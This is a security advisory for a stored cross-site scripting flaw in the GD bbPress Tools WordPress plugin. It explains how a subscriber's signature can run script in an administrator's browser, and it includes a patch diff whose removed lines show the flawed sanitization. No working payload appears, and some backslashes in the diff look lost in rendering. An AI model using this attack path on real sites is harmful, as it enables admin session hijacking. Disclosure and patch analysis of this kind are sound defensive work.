Published : November 28, 2026

CVE-2026-136596: GD bbPress Tools <= 4.0.1 Authenticated (Subscriber+) Stored Cross-Site Scripting via User Signature PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.0.1
Patched Version 4.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136596: This is an authenticated stored cross-site scripting vulnerability in the GD bbPress Tools plugin for WordPress, affecting all versions up to and including 4.0.1. The flaw resides in the user signature handling module, where insufficient input sanitization and output escaping allow a subscriber-level user to inject arbitrary JavaScript. The CVSS score is 6.4 with a CWE-79 classification.

The root cause is found in the `format_signature` function in `code/mods/signature.php`. Prior to the patch, this function used `strip_tags` only when HTML was disabled, and relied on `wp_filter_post_kses` combined with `addslashes` and `stripslashes` to filter content when the user lacked `unfiltered_html`. This approach failed to properly sanitize the signature because `wp_filter_post_kses` is designed for post content and does not apply a strict allowlist for signature fields, allowing event handlers and other dangerous attributes to pass through. Additionally, the `editor_save` function in the same file lacked nonce verification, enabling a CSRF-like vector to trigger signature updates. The signature was then stored verbatim in user meta and later rendered without escaping in `reply_content` at lines 180-190, where it was concatenated directly into the page output.

An attacker with subscriber-level access can exploit this by submitting a crafted signature via the profile edit form. The vulnerable parameter is `signature` in the POST request to the profile update endpoint (e.g., `/wp-admin/profile.php` or bbPress profile edit page). Because the old `format_signature` failed to strip malicious HTML, a payload such as `` would be stored. When an administrator views the attacker’s topic on the Edit Topic admin screen, the unescaped signature is rendered, executing the script in the admin’s browser context. The lack of nonce verification also allowed an attacker to forge a request on behalf of a victim to save a malicious signature.

The patch addresses the vulnerability by replacing the flawed sanitization with a strict allowlist approach. The new `sanitize_signature_html` method in `code/mods/signature.php` uses `wp_kses` with a carefully curated array of allowed HTML tags and attributes, explicitly blocking event handlers and dangerous attributes. The function is applied both at save time in `editor_save` (after verifying a nonce) and at render time in `reply_content`. The `editor_save` function now requires a valid nonce (`gdbbptools_signature_nonce`) and verifies it against the user ID, preventing CSRF. The `format_signature` function no longer uses `wp_filter_post_kses`; instead, it applies `wp_kses` with the same allowlist or an empty array if HTML is disabled. This ensures that only safe HTML is stored and displayed.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, creation of rogue admin accounts, modification of site content, or redirection to malicious sites. The impact is limited to authenticated users with subscriber-level access, but the stored nature means the payload persists until manually removed, affecting any user who views the compromised signature, including administrators. The patch effectively mitigates the risk by enforcing strict output escaping and input sanitization.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gd-bbpress-tools/code/admin.php
+++ b/gd-bbpress-tools/code/admin.php
@@ -163,7 +163,7 @@
 	}

 	public function admin_menu() {
-		$this->page_ids[] = add_submenu_page( 'edit.php?post_type=forum', 'GD bbPress Tools', __( 'Tools', 'gd-bbpress-tools' ), GDBBPRESSTOOLS_CAP, 'gdbbpress_tools', array(
+		$this->page_ids[] = add_submenu_page( 'edit.php?post_type=forum', 'forumTools for bbPress', __( 'Tools', 'gd-bbpress-tools' ), GDBBPRESSTOOLS_CAP, 'gdbbpress_tools', array(
 			$this,
 			'menu_tools',
 		) );
@@ -188,7 +188,7 @@

 	public function plugin_links( $links, $file ) {
 		if ( $file == 'gd-bbpress-tools/gd-bbpress-tools.php' ) {
-			$links[] = '<a target="_blank" style="color: #cc0000; font-weight: bold;" href="https://www.dev4press.com/plugins/gd-bbpress-toolbox/">' . esc_html__( 'Upgrade to GD bbPress Toolbox Pro', 'gd-bbpress-tools' ) . '</a>';
+			$links[] = '<a target="_blank" style="color: #cc0000; font-weight: bold;" href="https://www.dev4press.com/plugins/gd-bbpress-toolbox/">' . esc_html__( 'Upgrade to forumToolbox Pro for bbPress', 'gd-bbpress-tools' ) . '</a>';
 		}

 		return $links;
--- a/gd-bbpress-tools/code/class.php
+++ b/gd-bbpress-tools/code/class.php
@@ -184,10 +184,17 @@
 	}

 	public function init_modules() : void {
+		/**
+		 * Fires during bbPress initialization after forumTools for bbPress loads its enabled modules.
+		 */
 		do_action( 'bbtoolbox_init' );
 	}

 	public function hook_modules() : void {
+		/**
+		 * Fires during bbPress initialization after forumTools for bbPress initializes its modules
+		 * and loads its admin or front-end component.
+		 */
 		do_action( 'bbtoolbox_core' );
 	}

--- a/gd-bbpress-tools/code/defaults.php
+++ b/gd-bbpress-tools/code/defaults.php
@@ -6,9 +6,9 @@

 class GDBTODefaults {
 	public array $default_options = array(
-		'version'                                => '4.0.1',
-		'date'                                   => '2026.05.24.',
-		'build'                                  => 2501,
+		'version'                                => '4.1',
+		'date'                                   => '2026.11.25.',
+		'build'                                  => 2510,
 		'status'                                 => 'stable',
 		'product_id'                             => 'gd-bbpress-tools',
 		'edition'                                => 'free',
--- a/gd-bbpress-tools/code/mods/bbcodes.php
+++ b/gd-bbpress-tools/code/mods/bbcodes.php
@@ -305,6 +305,11 @@
 	}

 	public function strip_advanced( $content ) {
+		/**
+		 * Filters which BBCodes are removed when advanced BBCodes are restricted.
+		 *
+		 * @param string[] $advanced BBCode names, without brackets.
+		 */
 		$pattern = $this->_regex( apply_filters( 'd4p_bbpresstools_bbcode_advanced_list', $this->advanced ) );

 		return preg_replace_callback( "/$pattern/s", array( $this, '_strip' ), $content );
@@ -325,6 +330,9 @@
 			echo '<br/>' . esc_html__( 'Your account can't use Advanced BBCodes, they will be stripped before saving.', 'gd-bbpress-tools' );
 		}

+		/**
+		 * Fires inside the BBCode notice paragraph on topic and reply forms, after the default text.
+		 */
 		do_action( 'd4p_bbpresstools_bbcode_notice' );

 		echo '</p></div>';
@@ -343,7 +351,7 @@
 	}

 	public function shortcode_s( $atts, $content = null ) {
-		return $this->_simple( 's', 'del', 'strikethrough', $atts, $content );
+		return $this->_simple( 's', 's', 'strikethrough', $atts, $content );
 	}

 	public function shortcode_right( $atts, $content = null ) {
--- a/gd-bbpress-tools/code/mods/signature.php
+++ b/gd-bbpress-tools/code/mods/signature.php
@@ -72,14 +72,23 @@
 			$_signature = d4p_bbp_update_shorthand_bbcodes( $profile_user->signature );

 			$profile_user->filter = $old_filter;
+
+			wp_nonce_field( 'gdbbptools_save_signature_' . $profile_user->ID, 'gdbbptools_signature_nonce', false );
 		}

+		/**
+		 * Filters the signature editor template for WordPress and bbPress profile forms.
+		 *
+		 * @param string $file Absolute path to the PHP template for the current profile form.
+		 */
 		include_once( apply_filters( 'd4p_bbpresstools_signature_editor_file', GDBBPRESSTOOLS_PATH . 'forms/tools/signature_profile.php' ) );
 	}

 	public function editor_form_bbpress() : void {
 		$_signature = d4p_bbp_update_shorthand_bbcodes( bbp_get_displayed_user_field( 'signature' ) );
+		wp_nonce_field( 'gdbbptools_save_signature_' . bbp_get_displayed_user_id(), 'gdbbptools_signature_nonce', false );

+		/** This filter is documented in code/mods/signature.php. */
 		$form = apply_filters( 'd4p_bbpresstools_signature_editor_file', GDBBPRESSTOOLS_PATH . 'forms/tools/signature_bbpress.php' );
 		include_once( $form );
 	}
@@ -94,7 +103,13 @@

 			if ( $user_id > 0 ) {
 				$_signature = d4p_bbp_update_shorthand_bbcodes( get_user_meta( $user_id, 'signature', true ) );
+				wp_nonce_field( 'gdbbptools_save_signature_' . $user_id, 'gdbbptools_signature_nonce', false );

+				/**
+				 * Filters the signature editor template for the configured BuddyPress profile group.
+				 *
+				 * @param string $file Absolute path to the BuddyPress PHP template.
+				 */
 				$form = apply_filters( 'd4p_bbpresssignature_bbpress_editor_file', GDBBPRESSTOOLS_PATH . 'forms/tools/signature_buddypress.php' );
 				include_once( $form );
 			}
@@ -131,16 +146,14 @@

 	public function format_signature( $sig ) : string {
 		if ( ! $this->html ) {
-			$sig = strip_tags( $sig );
+			$sig = wp_strip_all_tags( $sig );
 		}

 		if ( ! $this->bbcodes ) {
 			$sig = strip_shortcodes( $sig );
 		}

-		if ( ! current_user_can( 'unfiltered_html' ) ) {
-			$sig = stripslashes( wp_filter_post_kses( addslashes( $sig ) ) );
-		}
+		$sig = $this->html ? $this->sanitize_signature_html( $sig ) : wp_kses( $sig, array() );

 		if ( strlen( $sig ) > $this->max_length ) {
 			$sig = substr( $sig, 0, $this->max_length );
@@ -149,12 +162,55 @@
 		return trim( $sig );
 	}

+	private function sanitize_signature_html( string $sig ) : string {
+		// Keep formatting while excluding IDs, form controls, and classes used by other UI components.
+		$attributes = array(
+			'class' => array(
+				'value_callback' => static function ( $value ) {
+					return preg_match( '/A(?:d4pbbc-[a-z0-9-]+|d4p-bbt-quote-title|wp-smiley)z/', $value ) === 1;
+				},
+			),
+			'style' => true,
+			'title' => true,
+		);
+
+		$tags = array_fill_keys( array(
+			'abbr', 'b', 'br', 'caption', 'cite', 'code', 'dd', 'div', 'dl', 'dt', 'em', 'fieldset',
+			'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'kbd', 'legend', 'li', 'mark', 'p', 'pre',
+			's', 'samp', 'small', 'span', 'strong', 'sub', 'sup', 'table', 'tbody', 'tfoot', 'thead', 'tr',
+			'u', 'ul', 'var',
+		), $attributes );
+
+		$tags['a']          = $attributes + array( 'href' => true, 'rel' => true, 'target' => true );
+		$tags['bdo']        = $attributes + array( 'dir' => true );
+		$tags['blockquote'] = $attributes + array( 'cite' => true );
+		$tags['img']        = $attributes + array( 'src' => true, 'alt' => true, 'width' => true, 'height' => true );
+		$tags['ol']         = $attributes + array( 'start' => true, 'reversed' => true );
+		$tags['td']         = $attributes + array( 'colspan' => true, 'rowspan' => true );
+		$tags['th']         = $tags['td'] + array( 'scope' => true );
+
+		/**
+		 * Filters the HTML allowlist for formatted signatures at save and render time.
+		 *
+		 * @param array $tags Allowed HTML tags and their attributes.
+		 */
+		$tags = apply_filters( 'd4p_bbpresstools_signature_allowed_html', $tags );
+
+		return wp_kses( $sig, $tags );
+	}
+
 	public function editor_save( $user_id ) : void {
-		if ( isset( $_POST['signature'] ) ) {
-			$sig = $this->format_signature( $_POST['signature'] );
+		if ( ! is_string( $_POST['signature'] ?? null ) || ! is_string( $_POST['gdbbptools_signature_nonce'] ?? null ) ) {
+			return;
+		}

-			update_user_meta( $user_id, 'signature', $sig );
+		if ( ! wp_verify_nonce( wp_unslash( $_POST['gdbbptools_signature_nonce'] ), 'gdbbptools_save_signature_' . $user_id ) ) {
+			return;
 		}
+
+		$sig = $this->format_signature( wp_unslash( $_POST['signature'] ) );
+
+		update_user_meta( $user_id, 'signature', wp_slash( $sig ) );
 	}

 	public function reply_content( $content, $reply_id = 0 ) {
@@ -171,7 +227,7 @@
 		$sig = d4p_bbp_update_shorthand_bbcodes( $signature );

 		if ( $sig != $signature ) {
-			update_user_meta( $user_id, 'signature', $sig, $signature );
+			update_user_meta( $user_id, 'signature', wp_slash( $sig ), $signature );
 		}

 		if ( $sig != '' ) {
@@ -180,8 +236,11 @@
 			$sig = wpautop( $sig );
 			$sig = shortcode_unautop( $sig );
 			$sig = do_shortcode( $sig );
+			$sig = $this->sanitize_signature_html( $sig );

-			$content .= '<div class="bbp-signature">' . $sig . '</div>';
+			if ( trim( $sig ) !== '' ) {
+				$content .= '<div class="bbp-signature">' . $sig . '</div>';
+			}
 		}

 		return $content;
--- a/gd-bbpress-tools/code/mods/toolbar.php
+++ b/gd-bbpress-tools/code/mods/toolbar.php
@@ -167,14 +167,14 @@
             $wp_admin_bar->add_menu( array(
                     'parent' => 'gdbb-toolbar-settings-third',
                     'id'     => 'gdbb-toolbar-settings-third-tools',
-                    'title'  => __( 'GD bbPress Tools', 'gd-bbpress-tools' ),
+                    'title'  => __( 'forumTools for bbPress', 'gd-bbpress-tools' ),
                     'href'   => admin_url( 'edit.php?post_type=forum&page=gdbbpress_tools' ),
             ) );
             if ( defined( 'GDBBPRESSATTACHMENTS_INSTALLED' ) ) {
                 $wp_admin_bar->add_menu( array(
                         'parent' => 'gdbb-toolbar-settings-third',
                         'id'     => 'gdbb-toolbar-settings-third-attachments',
-                        'title'  => __( 'GD bbPress Attachments', 'gd-bbpress-tools' ),
+                        'title'  => __( 'forumAttachments for bbPress', 'gd-bbpress-tools' ),
                         'href'   => admin_url( 'edit.php?post_type=forum&page=gdbbpress_attachments' ),
                 ) );
             }
--- a/gd-bbpress-tools/code/shared.php
+++ b/gd-bbpress-tools/code/shared.php
@@ -93,6 +93,11 @@
 	function d4p_is_bbpress() : bool {
 		$is = d4p_has_bbpress() && is_bbpress();

+		/**
+		 * Filters whether the current request is treated as a bbPress page.
+		 *
+		 * @param bool $is Whether a supported bbPress version recognizes the current page.
+		 */
 		return apply_filters( 'd4p_is_bbpress', $is );
 	}
 }
--- a/gd-bbpress-tools/forms/more/toolbox.php
+++ b/gd-bbpress-tools/forms/more/toolbox.php
@@ -12,17 +12,16 @@
     <fieldset class="the-top">
         <em><?php esc_html_e( 'consider upgrading to', 'gd-bbpress-tools' ); ?></em>
         <h3 style="line-height: 1.5">
-            <a title="forumToolbox for bbPress" target="_blank" href="<?php echo esc_url( d4p_url_campaign_tracking( 'https://www.dev4press.com/plugins/gd-bbpress-toolbox/', 'gd-bbpress-attachments-to-pro', 'wordpress', 'free-plugin-admin' ) ); ?>">forumToolbox Pro for bbPress</a>
+            <a title="forumToolbox Pro for bbPress" target="_blank" href="<?php echo esc_url( d4p_url_campaign_tracking( 'https://www.dev4press.com/plugins/gd-bbpress-toolbox/', 'gd-bbpress-attachments-to-pro', 'wordpress', 'free-plugin-admin' ) ); ?>">forumToolbox Pro for bbPress</a>
         </h3>

-        <em>AKA: GD bbPress Toolbox Pro</em>
         <p style="font-weight: bold; font-size: 15px;"><?php esc_html_e( 'Enhancing WordPress forums powered by bbPress', 'gd-bbpress-tools' ); ?></p>
     </fieldset>

     <a href="<?php echo esc_url( $upgrade_url ); ?>" class="button-primary" style=" margin: 20px 0 0; text-align: center; font-weight: bold; width: 100%; line-height: 3.5; font-size: 1.4em; border-radius: 5px"><?php esc_html_e( 'Upgrade Now', 'gd-bbpress-tools' ); ?></a>

     <fieldset>
-        <p style="font-weight: bold;"><?php esc_html_e( 'Some of the features you will get with forumToolbox for bbPress', 'gd-bbpress-tools' ); ?></p>
+        <p style="font-weight: bold;"><?php esc_html_e( 'Some of the features you will get with forumToolbox Pro for bbPress', 'gd-bbpress-tools' ); ?></p>
         <ul>
             <li><?php esc_html_e( 'Enhanced attachments', 'gd-bbpress-tools' ); ?></li>
             <li><?php esc_html_e( 'Report Topics and Replies', 'gd-bbpress-tools' ); ?></li>
--- a/gd-bbpress-tools/forms/panels.php
+++ b/gd-bbpress-tools/forms/panels.php
@@ -23,7 +23,7 @@

 ?>
 <div class="wrap">
-    <h2>GD bbPress Tools</h2>
+    <h2>forumTools for bbPress</h2>
     <div id="icon-tools" class="icon32"><br></div>
     <h2 class="nav-tab-wrapper d4p-tabber-ctrl">
         <?php
--- a/gd-bbpress-tools/forms/tabs/about.php
+++ b/gd-bbpress-tools/forms/tabs/about.php
@@ -8,7 +8,7 @@

 <div class="d4p-information">
     <fieldset>
-        <h3>GD bbPress Tools <?php echo esc_html( $options["version"] ); ?></h3>
+        <h3>forumTools for bbPress <?php echo esc_html( $options["version"] ); ?></h3>
         <?php

         $status = ucfirst( $options["status"] );
@@ -33,7 +33,7 @@
         esc_html_e( 'PHP: ', 'gd-bbpress-tools' );
         echo '<strong>8.0 or newer</strong><br/>';
         esc_html_e( 'WordPress: ', 'gd-bbpress-tools' );
-        echo '<strong>6.2 or newer</strong><br/>';
+        echo '<strong>6.6 or newer</strong><br/>';
         esc_html_e( 'bbPress: ', 'gd-bbpress-tools' );
         echo '<strong>2.6.2 or newer</strong>';

@@ -42,8 +42,8 @@

     <fieldset>
         <h3><?php esc_html_e( 'Important Plugin Links', 'gd-bbpress-tools' ); ?></h3>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-bbpress-tools/">GD bbPress Tools <?php esc_html_e( 'Home Page', 'gd-bbpress-tools' ); ?></a><br/>
-        <a target="_blank" href="https://wordpress.org/extend/plugins/gd-bbpress-tools/">GD bbPress Tools <?php esc_html_e( 'on', 'gd-bbpress-tools' ); ?> WordPress.org</a>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-bbpress-tools/">forumTools for bbPress <?php esc_html_e( 'Home Page', 'gd-bbpress-tools' ); ?></a><br/>
+        <a target="_blank" href="https://wordpress.org/extend/plugins/gd-bbpress-tools/">forumTools for bbPress <?php esc_html_e( 'on', 'gd-bbpress-tools' ); ?> WordPress.org</a>
         <h3><?php esc_html_e( 'Plugin Support', 'gd-bbpress-tools' ); ?></h3>
         <a target="_blank" href="https://support.dev4press.com/forums/forum/plugins-free/gd-bbpress-tools/"><?php esc_html_e( 'Plugin Support Forum on Dev4Press', 'gd-bbpress-tools' ); ?></a><br/>
         <h3><?php esc_html_e( 'Dev4Press Important Links', 'gd-bbpress-tools' ); ?></h3>
--- a/gd-bbpress-tools/forms/tabs/d4p.php
+++ b/gd-bbpress-tools/forms/tabs/d4p.php
@@ -1,60 +1,60 @@
-<?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-?>
-
-<div class="d4p-information">
-    <fieldset>
-        <h3><?php esc_html_e( 'Premium Plugins for bbPress', 'gd-bbpress-tools' ); ?></h3>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-bbpress-toolbox/">forumToolbox for bbPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-quantum-theme-for-bbpress/">quantumTheme for bbPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-forum-notices-for-bbpress/">forumNotices for bbPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-power-search-for-bbpress/">powerSearch for bbPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-topic-prefix/">topicPrefix for bbPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-topic-polls/">topicPolls for bbPress</a><br/>
-    </fieldset>
-
-    <fieldset>
-        <h3><?php esc_html_e( 'Free and Lite Plugins for bbPress', 'gd-bbpress-tools' ); ?></h3>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-members-directory-for-bbpress/">GD Members Directory</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-forum-manager-for-bbpress/">GD Forum Manager</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-bbpress-tools/">GD bbPress Tools</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-bbpress-attachments/">GD bbPress Attachments</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-topic-polls/">topicPolls for bbPress (Lite)</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-power-search-for-bbpress/">powerSearch for bbPress (Lite)</a><br/>
-    </fieldset>
-
-    <fieldset>
-        <h3><?php esc_html_e( 'Other Premium Plugins', 'gd-bbpress-tools' ); ?></h3>
-        <a target="_blank" href="https://www.dev4press.com/plugins/coresecurity/">coreSecurity</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/sweeppress/">SweepPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/breadcrumbspress/">BreadcrumbsPress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-knowledge-base/">KnowledgePress</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-mail-queue/">GD Mail Queue</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-content-tools/">GD Content Tools</a><br/>
-        <a target="_blank" href="https://www.dev4press.com/plugins/gd-rating-system/">GD Rating System</a>
-    </fieldset>
-
-    <fieldset>
-        <h3><?php esc_html_e( 'More Free Plugins', 'gd-bbpress-tools' ); ?></h3>
-        <a target="_blank" href="https://wordpress.org/plugins/coreactivity/">coreActivity</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/archivespress/">ArchivesPress</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-rating-system/">GD Rating System</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-mail-queue/">GD Mail Queue</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-pages-navigator/">GD Pages Navigator</a><br/>
-        <a target="_blank" href="https://wordpress.org/plugins/gd-security-headers/">GD Security Headers</a>
-    </fieldset>
-</div>
-<div class="d4p-information-second">
-    <?php include( GDBBPRESSTOOLS_PATH . 'forms/more/toolbox.php' ); ?>
-</div>
-
-<div class="d4p-clear"></div>
-
-<div class="d4p-copyright">
-    Dev4Press © 2008 - 2026
-    <a target="_blank" href="https://www.dev4press.com">www.dev4press.com</a>
-</div>
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+?>
+
+<div class="d4p-information">
+    <fieldset>
+        <h3><?php esc_html_e( 'Premium Plugins for bbPress', 'gd-bbpress-tools' ); ?></h3>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-bbpress-toolbox/">forumToolbox Pro for bbPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-quantum-theme-for-bbpress/">quantumTheme for bbPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-forum-notices-for-bbpress/">forumNotices for bbPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-power-search-for-bbpress/">powerSearch for bbPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-topic-prefix/">topicPrefix for bbPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-topic-polls/">topicPolls for bbPress</a><br/>
+    </fieldset>
+
+    <fieldset>
+        <h3><?php esc_html_e( 'Free and Lite Plugins for bbPress', 'gd-bbpress-tools' ); ?></h3>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-members-directory-for-bbpress/">membersDirectory for bbPress</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-forum-manager-for-bbpress/">forumManager for bbPress</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-bbpress-tools/">forumTools for bbPress</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-bbpress-attachments/">forumAttachments for bbPress</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-topic-polls/">topicPolls for bbPress (Lite)</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-power-search-for-bbpress/">powerSearch for bbPress (Lite)</a><br/>
+    </fieldset>
+
+    <fieldset>
+        <h3><?php esc_html_e( 'Other Premium Plugins', 'gd-bbpress-tools' ); ?></h3>
+        <a target="_blank" href="https://www.dev4press.com/plugins/coresecurity/">coreSecurity</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/sweeppress/">SweepPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/breadcrumbspress/">BreadcrumbsPress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-knowledge-base/">KnowledgePress</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-mail-queue/">GD Mail Queue</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-content-tools/">GD Content Tools</a><br/>
+        <a target="_blank" href="https://www.dev4press.com/plugins/gd-rating-system/">GD Rating System</a>
+    </fieldset>
+
+    <fieldset>
+        <h3><?php esc_html_e( 'More Free Plugins', 'gd-bbpress-tools' ); ?></h3>
+        <a target="_blank" href="https://wordpress.org/plugins/coreactivity/">coreActivity</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/archivespress/">ArchivesPress</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-rating-system/">GD Rating System</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-mail-queue/">GD Mail Queue</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-pages-navigator/">GD Pages Navigator</a><br/>
+        <a target="_blank" href="https://wordpress.org/plugins/gd-security-headers/">GD Security Headers</a>
+    </fieldset>
+</div>
+<div class="d4p-information-second">
+    <?php include( GDBBPRESSTOOLS_PATH . 'forms/more/toolbox.php' ); ?>
+</div>
+
+<div class="d4p-clear"></div>
+
+<div class="d4p-copyright">
+    Dev4Press © 2008 - 2026
+    <a target="_blank" href="https://www.dev4press.com">www.dev4press.com</a>
+</div>
--- a/gd-bbpress-tools/forms/tabs/views.php
+++ b/gd-bbpress-tools/forms/tabs/views.php
@@ -1,86 +1,86 @@
-<?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-$options     = $options ?? array();
-$_user_roles = $_user_roles ?? array();
-
-?>
-
-<?php if ( isset( $_GET["settings-updated"] ) && $_GET["settings-updated"] == "true" ) { ?>
-    <div class="updated settings-error" id="setting-error-settings_updated">
-        <p><strong><?php esc_html_e( 'Settings saved.', 'gd-bbpress-tools' ); ?></strong></p>
-    </div>
-<?php } ?>
-
-<form action="" method="post">
-    <?php wp_nonce_field( "gd-bbpress-tools" ); ?>
-    <div class="d4p-settings">
-        <fieldset>
-            <h3><?php esc_html_e( 'Topic Views', 'gd-bbpress-tools' ); ?></h3>
-            <p><?php esc_html_e( 'Topic Views are core bbPress feature, and GD bbPress Tools plugin only registers new views. If you have not used views before, best way to start is by using 'bbPress Topic Views List' widget that will display all registered views.', 'gd-bbpress-tools' ); ?></p>
-        </fieldset>
-
-        <fieldset>
-            <h3><?php esc_html_e( 'Topics with most replies', 'gd-bbpress-tools' ); ?></h3>
-            <p><?php esc_html_e( 'This view will show list of topics with most replies.', 'gd-bbpress-tools' ); ?></p>
-            <table class="form-table">
-                <tbody>
-                <tr>
-                    <th scope="row"><label for="view_mostreplies_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
-                    <td>
-                        <input type="checkbox" <?php if ( $options["view_mostreplies_active"] == 1 ) {
-                            echo " checked";
-                        } ?> id="view_mostreplies_active" name="view_mostreplies_active"/>
-                    </td>
-                </tr>
-                </tbody>
-            </table>
-        </fieldset>
-
-        <fieldset>
-            <h3><?php esc_html_e( 'Latest Topics', 'gd-bbpress-tools' ); ?></h3>
-            <p><?php esc_html_e( 'This view will show list of topics starting with latest ones.', 'gd-bbpress-tools' ); ?></p>
-            <table class="form-table">
-                <tbody>
-                <tr>
-                    <th scope="row"><label for="view_latesttopics_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
-                    <td>
-                        <input type="checkbox" <?php if ( $options["view_latesttopics_active"] == 1 ) {
-                            echo " checked";
-                        } ?> id="view_latesttopics_active" name="view_latesttopics_active"/>
-                    </td>
-                </tr>
-                </tbody>
-            </table>
-        </fieldset>
-
-        <fieldset>
-            <h3><?php esc_html_e( 'Topics by freshness', 'gd-bbpress-tools' ); ?></h3>
-            <p><?php esc_html_e( 'This view will show list of topics ordered by freshness (latest activity).', 'gd-bbpress-tools' ); ?></p>
-            <table class="form-table">
-                <tbody>
-                <tr>
-                    <th scope="row"><label for="view_topicsfreshness_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
-                    <td>
-                        <input type="checkbox" <?php if ( $options["view_topicsfreshness_active"] == 1 ) {
-                            echo " checked";
-                        } ?> id="view_topicsfreshness_active" name="view_topicsfreshness_active"/>
-                    </td>
-                </tr>
-                </tbody>
-            </table>
-        </fieldset>
-
-        <p class="submit">
-            <input type="submit" value="<?php esc_html_e( 'Save Changes', 'gd-bbpress-tools' ); ?>" class="button-primary gdbb-tools-submit" id="gdbb-views-submit" name="gdbb-views-submit"/>
-        </p>
-    </div>
-    <div class="d4p-settings-second">
-        <?php include( GDBBPRESSTOOLS_PATH . 'forms/more/toolbox.php' ); ?>
-    </div>
-
-    <div class="d4p-clear"></div>
-</form>
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+$options     = $options ?? array();
+$_user_roles = $_user_roles ?? array();
+
+?>
+
+<?php if ( isset( $_GET["settings-updated"] ) && $_GET["settings-updated"] == "true" ) { ?>
+    <div class="updated settings-error" id="setting-error-settings_updated">
+        <p><strong><?php esc_html_e( 'Settings saved.', 'gd-bbpress-tools' ); ?></strong></p>
+    </div>
+<?php } ?>
+
+<form action="" method="post">
+    <?php wp_nonce_field( "gd-bbpress-tools" ); ?>
+    <div class="d4p-settings">
+        <fieldset>
+            <h3><?php esc_html_e( 'Topic Views', 'gd-bbpress-tools' ); ?></h3>
+            <p><?php esc_html_e( 'Topic Views are core bbPress feature, and forumTools for bbPress only registers new views. If you have not used views before, best way to start is by using 'bbPress Topic Views List' widget that will display all registered views.', 'gd-bbpress-tools' ); ?></p>
+        </fieldset>
+
+        <fieldset>
+            <h3><?php esc_html_e( 'Topics with most replies', 'gd-bbpress-tools' ); ?></h3>
+            <p><?php esc_html_e( 'This view will show list of topics with most replies.', 'gd-bbpress-tools' ); ?></p>
+            <table class="form-table">
+                <tbody>
+                <tr>
+                    <th scope="row"><label for="view_mostreplies_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
+                    <td>
+                        <input type="checkbox" <?php if ( $options["view_mostreplies_active"] == 1 ) {
+                            echo " checked";
+                        } ?> id="view_mostreplies_active" name="view_mostreplies_active"/>
+                    </td>
+                </tr>
+                </tbody>
+            </table>
+        </fieldset>
+
+        <fieldset>
+            <h3><?php esc_html_e( 'Latest Topics', 'gd-bbpress-tools' ); ?></h3>
+            <p><?php esc_html_e( 'This view will show list of topics starting with latest ones.', 'gd-bbpress-tools' ); ?></p>
+            <table class="form-table">
+                <tbody>
+                <tr>
